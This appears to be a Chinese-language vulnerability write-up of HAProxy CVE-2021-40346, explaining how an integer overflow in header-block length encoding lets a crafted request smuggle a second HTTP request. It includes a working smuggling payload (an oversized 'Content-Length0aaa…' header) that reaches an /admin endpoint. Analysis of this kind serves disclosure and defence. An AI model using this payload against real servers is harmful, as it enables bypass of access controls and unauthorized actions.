JFrog安全研究团队发布了一个HAProxy的严重漏洞的信息。HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性、负载均衡,以及基于TCP和HTTP的应用程序代理。
参考文章:https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/
初始化body长度
https://github.com/haproxy/haproxy/blob/v2.5-dev4/src/h1.c#1113
这里直接取得header头的content-length的值。
https://github.com/haproxy/haproxy/blob/v2.5-dev4/src/h1.c#848
https://github.com/haproxy/haproxy/blob/v2.5-dev4/src/h1.c#75
这一步是处理header头,为了得到blk->info如下结构
blk->info += (value.len << 8) + name.len;
前4位:0000 -》type
中间20位:0000 0000 0000 0000 0000 -》value (1 MB max)
后8位:0000 0000 -》key length (header/trailer - 256B max)
从空间大小来看
key的长度最多只能有8位无符号数,也就是只能表示0-255
value长度是20位无符号数,也就是0-1048575
举例
Content-Length:12
经过块状保存
去掉:
并保存字符串:blk->data=Content-Length12
保存长度:blk->info=00100000000000000000001000001110
key长度:00001110=14
value长度:00000000000000000010=2
根据blk->info就能将blk->data里的key-value取出来。
如果key的长度超过8位,则势必也影响value的长度。
这里的逻辑是32位保存了header头,如果存在溢出,则有可能在取出块状结构体的时候和初始化的取值有差异。例如从这里取出content-length=0,但初始化取出的是60。那么最终发出来的效果就是
POST /index.html HTTP/1.1
Host: abc.com
Content-Length: 0
GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz
下面就来看这块溢出如何影响取值。
payload
POST /index.html HTTP/1.1
Host: abc.com
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 60
对于Content-Length0a...a:
这个key-value,key长度是270,value长度是0
最终上面32位块结构就会变成
00100000000000000000000100001110
溢出之后效果就是代码认为,此时的
key长度是00001110=14
value长度是00000000000000000001=1
那么从这一行来看Content-Length0a...aa
14位刚好取到Content-Length
1刚好去到0
则最终解析出来就是content-length=0
哪怕再往下解析,得到content-length=60,
又因为逻辑2导致后面的content-length=60被丢弃。
而逻辑1又决定了body是60。
所以就得到了这样的请求
POST /index.html HTTP/1.1
Host: abc.com
Content-Length: 0
GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz
后端接收到这样的请求,因为第一个postcontent-length是0,所以认为body里面是第二个请求。